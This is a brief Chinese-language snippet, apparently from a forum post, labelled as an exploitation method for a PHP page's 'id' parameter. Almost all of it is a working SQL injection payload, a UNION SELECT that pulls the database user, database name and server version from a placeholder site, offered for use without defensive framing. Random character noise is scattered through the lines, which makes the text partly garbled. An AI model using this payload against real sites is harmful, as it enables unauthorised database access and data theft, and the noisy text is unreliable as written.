利用方法:
* U3 C/ N0 h0 T% D% f+ D+ o1 ^ http://www.xxx.com/index.php?id=[SQL]
/ e9 y D/ F! t8 Q+ h: k Demo:1 n$ B4 f- n. V3 ~/ d$ N j
http://www.xxx.com/index.php?id=-1' UNION SELECT 1,2,3,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),5,6,7,8,9,10,11,12,13--+ |